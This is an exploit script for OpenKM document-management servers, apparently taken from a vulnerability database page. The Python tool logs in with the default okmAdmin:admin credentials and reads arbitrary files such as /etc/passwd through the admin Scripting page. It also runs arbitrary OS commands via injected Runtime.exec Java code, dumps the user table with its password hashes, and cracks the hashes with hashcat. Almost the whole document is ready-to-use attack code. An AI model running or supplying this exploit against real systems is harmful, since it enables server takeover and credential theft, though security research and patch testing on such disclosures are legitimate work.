# Exploit Title: OpenKM Multiple Critical Zero-Day
# Date: 17 Jan 2026
# Exploit Author: Terra System Labs Pvt. Ltd.
# Vendor Homepage: https://www.openkm.com/
# Software Link: https://hub.docker.com/r/openkm/openkm-ce
# Version: OpenKM Community Edition 6.3.12 and OpenKM Pro Edition 7.1.47 and previous versions
# Tested on: Windows and Linux Docker
# CVE : N/A
import requests
import argparse
import os
import subprocess
from importlib import import_module
import re
import signal
import sys
import getpass
print("Research Conducted By: Terra System Labs Research Team")
print("Read Full Article: https://terrasystemlabs.com/post?slug=openkm-zero-day-vulnerabilities-terra-system-labs")
# Ensure all required libraries are installed and re-import missing ones
def check_and_install_libraries():
required_libraries = ["requests", "bs4", "prettytable", "termcolor"]
for lib in required_libraries:
try:
import_module(lib)
except ImportError:
print(f"Library {lib} not found. Installing...")
subprocess.check_call([
sys.executable, "-m", "pip", "install", lib, "--break-system-packages"
])
print(f"Library {lib} installed successfully.")
check_and_install_libraries()
from bs4 import BeautifulSoup
from prettytable import PrettyTable
try:
from termcolor import colored
use_colored_output = True
except ImportError:
use_colored_output = False
# Utility function for colored output
def print_colored(message, color):
if use_colored_output:
print(colored(message, color))
else:
print(message)
# Global session to persist cookies and authentication
session = requests.Session()
def signal_handler(sig, frame):
print_colored("\nDetected CTRL+C. Logging out...", "red")
if "base_url" in globals():
logout(base_url, proxies, verify_ssl)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def check_version(base_url, proxies, verify_ssl):
print_colored("Checking OpenKM version...", "cyan")
version_url = f"{base_url}/frontend/Workspace"
headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url,
"Referer": f"{base_url}/frontend/index.jsp",
}
payload = (
f"7|0|4|{base_url}/frontend/|42DC97C6A4E30E734F8CCD1FE2250214|"
"com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
)
response = session.post(version_url, headers=headers, data=payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and response.text.startswith("//OK"):
try:
strings = re.findall(r'"([^"]+)"', response.text)
idx = strings.index("com.openkm.frontend.client.bean.GWTAppVersion/1901889346")
build = strings[idx + 1]
release_type = strings[idx + 2]
ver_major = strings[idx + 3]
ver_minor = strings[idx + 4]
ver_patch = strings[idx + 5]
print_colored(f"OpenKM Version: {ver_minor}.{ver_patch}.{ver_major} (build: {build}, type: {release_type})", "green")
except Exception as e:
print_colored(f"Failed to parse version: {e}", "red")
else:
print_colored("Failed to fetch version information.", "red")
# Function to handle login
def login(base_url, username, password):
login_url = f"{base_url}/login.jsp"
login_payload = {
"j_username": username,
"j_password": password,
"j_language": "en-GB",
"submit": ""
}
login_post_url = f"{base_url}/j_spring_security_check"
response = session.post(login_post_url, data=login_payload, proxies=proxies, verify=verify_ssl)
if "error" in response.url:
print_colored("Login failed. Check credentials.", "red")
return False
print_colored("Login successful using default credentials or provided oen, if any.", "green")
check_version(base_url, proxies, verify_ssl)
return True
# Function for Local File Inclusion (LFI)
def lfi(base_url, read_file, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
script_payload = {
"csrft": csrf_token,
"script": "",
"fsPath": read_file,
"action": "Load"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, "html.parser")
textarea = soup.find("textarea", {"id": "script"})
if textarea:
print_colored("LFI Successful. Extracted Content:", "green")
print(textarea.text.strip())
else:
print_colored("Content not found.", "red")
else:
print_colored("LFI exploit failed.", "red")
# Function for Remote Code Execution (RCE)
def rce(base_url, command, proxies, verify_ssl):
csrf_page_url = f"{base_url}/admin/Scripting"
csrf_response = session.get(csrf_page_url, proxies=proxies, verify=verify_ssl)
csrf_token = None
if csrf_response.status_code == 200:
soup = BeautifulSoup(csrf_response.text, "html.parser")
csrf_input = soup.find("input", {"name": "csrft"})
if csrf_input:
csrf_token = csrf_input["value"]
if not csrf_token:
print_colored("Failed to fetch CSRF token.", "red")
return
exploit_payload = f"""
try {{
Process process = Runtime.getRuntime().exec("{command}");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String output = reader.readLine();
print("Result: " + output);
}} catch (IOException e) {{
print("Error: " + e.getMessage());
}}
"""
script_payload = {
"csrft": csrf_token,
"script": exploit_payload,
"fsPath": "",
"action": "Evaluate"
}
script_post_url = f"{base_url}/admin/Scripting"
response = session.post(script_post_url, data=script_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
match = re.search(r"Result:\s*(\w+)", response.text)
if match:
print_colored("RCE Successful. Result:", "green")
print(match.group(1))
else:
print_colored("RCE failed to return a result.", "red")
#Function for crack hash
def crack_password():
# Extract hashes from hashes.txt and save to md5_hashes.txt
def extract_hashes_to_file():
try:
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Extract only the hashes (after the colon)
hashes_only = [line.split(":")[1].strip() for line in hashes_data]
# Write the hashes to md5_hashes.txt
with open("md5_hashes.txt", "w") as file:
file.write("\n".join(hashes_only))
print("Hashes successfully extracted to md5_hashes.txt")
except FileNotFoundError:
print("Error: hashes.txt file not found. Please ensure the file exists in the current directory.")
# Combine usernames with cracked passwords
def combine_passwords():
try:
# Load usernames and hashes from hashes.txt
with open("hashes.txt", "r") as file:
hashes_data = file.readlines()
# Load cracked hashes and passwords from cracked_hashes.txt
with open("cracked_hashes.txt", "r") as file:
cracked_data = file.readlines()
# Parse data into dictionaries
hashes_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in hashes_data}
cracked_dict = {line.split(":")[0]: line.split(":")[1].strip() for line in cracked_data}
# Match and combine data into final_cracked.txt
final_cracked = ["Username:Passwords\n"] # Add header
for username, hash_value in hashes_dict.items():
if hash_value in cracked_dict:
password = cracked_dict[hash_value]
final_cracked.append(f"{username}:{password}\n")
# Save the results to final_cracked.txt
final_cracked_path = os.path.abspath("final_cracked.txt")
with open(final_cracked_path, "w") as file:
file.writelines(final_cracked)
print_colored("Final cracked usernames and passwords saved to final_cracked.txt", "green")
# Confirm with the user before displaying passwords
show_passwords = input("Do you want to display the cracked passwords (default N) Y/N: ").strip().lower()
if show_passwords == 'y':
print("{:<20} {:<20}".format("Username", "Password"))
print("-" * 40)
for line in final_cracked[1:]: # Skip header
username, password = line.strip().split(":")
print("{:<20} {:<20}".format(username, password))
exit(0)
else:
print("Passwords are hidden as per your choice. Read the Saved file to display the passwords in plaintext")
except FileNotFoundError:
print("Error: Ensure both hashes.txt and cracked_hashes.txt are present in the current directory.")
# Main script
if __name__ == "__main__":
# Step 1: Extract hashes to md5_hashes.txt
extract_hashes_to_file()
# Step 2: Prompt user for the wordlist path and use default if not provided
wordlist_path = input("Enter the path to your wordlist (Press Enter to use default: /usr/share/wordlists/rockyou.txt): ").strip()
if not wordlist_path:
wordlist_path = "/usr/share/wordlists/rockyou.txt"
import os
# Run hashcat commands
print("Running hashcat...")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --quiet")
os.system(f"hashcat -m 0 -a 0 md5_hashes.txt {wordlist_path} --show > cracked_hashes.txt")
# Step 3: Combine usernames with cracked passwords
combine_passwords()
# Function for SQL Injection (SQLi)
def sqli(base_url, proxies, verify_ssl):
print_colored("Running Unrestricted SQL Query...", "magenta")
query_url = f"{base_url}/admin/DatabaseQuery"
multipart_form_data = (
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
"SELECT * FROM OKM_USER;\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
"OKM_USER\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
"-----------------------------88617175833200583821560840739\r\n"
"Content-Disposition: form-data; name=\"type\"\r\n\r\n"
"jdbc\r\n"
"-----------------------------88617175833200583821560840739--"
)
headers = {
"Content-Type": "multipart/form-data; boundary=---------------------------88617175833200583821560840739",
}
response = session.post(query_url, data=multipart_form_data, headers=headers, proxies=proxies, verify=verify_ssl)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
table = soup.find('table', class_='results-old')
if table:
print_colored("SQL Injection Successful. Results:", "green")
rows = table.find_all('tr')
table_data = PrettyTable()
headers = [header.text.strip() for header in rows[0].find_all('th')]
table_data.field_names = headers
with open("hashes.txt", "w") as file:
for row in rows[1:]:
columns = row.find_all(['td', 'th'])
# Ensure all columns are filled, replacing missing values with 'N/A' and matching headers
row_data = [col.text.strip() if col.text.strip() else 'N/A' for col in columns[:len(headers)]]
if len(row_data) == len(headers):
table_data.add_row(row_data)
# Write USR_ID and USR_PASSWORD to the file
usr_id = row_data[headers.index("USR_ID")]
usr_password = row_data[headers.index("USR_PASSWORD")]
file.write(f"{usr_id}:{usr_password}\n")
print(table_data)
#current_directory = os.getcwd()
print_colored("hashes.txt created in the current directory", "green")
crack_hash = input("Do you want to crack user's password in plain text (default N) Y/N: ").strip()
if crack_hash in ['y', 'Y']:
crack_password()
else:
print("Skipping password cracking...")
exit()
else:
print_colored("No results found.", "red")
else:
print_colored("SQL Injection failed.", "red")
# Function for logout
def logout(base_url, proxies, verify_ssl):
print_colored("Logging out...", "green")
logout_url = f"{base_url}/frontend/Auth"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "text/x-gwt-rpc; charset=utf-8",
"X-GWT-Permutation": "57C4A26D31617E3BF3460E4771D72FCC",
"X-GWT-Module-Base": f"{base_url}/frontend/",
"Origin": base_url
}
logout_payload = "7|0|4|http://"+base_url+"/OpenKM/frontend/|62DBFE1B3CAA52AD46EA20F866574A5F|com.openkm.frontend.client.service.OKMAuthService|logout|1|2|3|4|0|"
response = session.post(logout_url, headers=headers, data=logout_payload, proxies=proxies, verify=verify_ssl)
if response.status_code == 200 and "//OK" in response.text:
print_colored("Logged out successfully.", "green")
else:
print_colored("Logout failed.", "red")
# Main function
def main():
global base_url, proxies, verify_ssl
parser = argparse.ArgumentParser(description="Unified Vulnerability Testing Tool")
parser.add_argument("--url", required=True, help="Base URL of the target application")
parser.add_argument("--run", help="Run specific tests: (A=All, L=LFI, R=RCE, S=SQL)")
parser.add_argument("--proxy", help="Proxy URL in the format http://IP:PORT")
parser.add_argument("--login", help="Credentials in the format username:password")
args = parser.parse_args()
help1 = args.run
if help1 in ["-h", "--help"]:
print_colored("Run python3 openkm-scanner.py --url http://host:port")
base_url = args.url[:-1] if args.url.endswith('/') else args.url
if not base_url.endswith("/OpenKM"):
base_url += "/OpenKM"
proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
verify_ssl = False
if args.login:
try:
username, password = args.login.split(":", 1)
except ValueError:
print_colored("Invalid format for --login. Use username:password", "red")
return
else:
username = "okmAdmin"
password = "admin"
if not login(base_url, username, password):
return
# if args.login:
# print("Username Received", login)
# try:
# username, password = args.login.split(":", 1)
# except ValueError:
# print_colored("Invalid format for --login. Use username:password", "red")
# return
# else:
# username = "okmAdmin"
# password = "admin"
# if not login(base_url, username, password):
# return
run_tests = args.run
if not run_tests:
run_tests = input("Enter tests to run (A=All, L=LFI, R=RCE, S=SQL): ").upper()
if run_tests in ['A', 'a']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
sqli(base_url, proxies, verify_ssl)
crack_password()
exit()
if run_tests in ['L', 'l']:
print_colored("Running LFI attack...", "magenta")
read_file = input("Enter file path for LFI (default: /etc/passwd): ") or "/etc/passwd"
lfi(base_url, read_file, proxies, verify_ssl)
if run_tests in ['R', 'r']:
print_colored("Running RCE attack...", "magenta")
command = input("Enter command for RCE (default: whoami): ") or "whoami"
rce(base_url, command, proxies, verify_ssl)
if run_tests in ['S', 's']:
sqli(base_url, proxies, verify_ssl)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation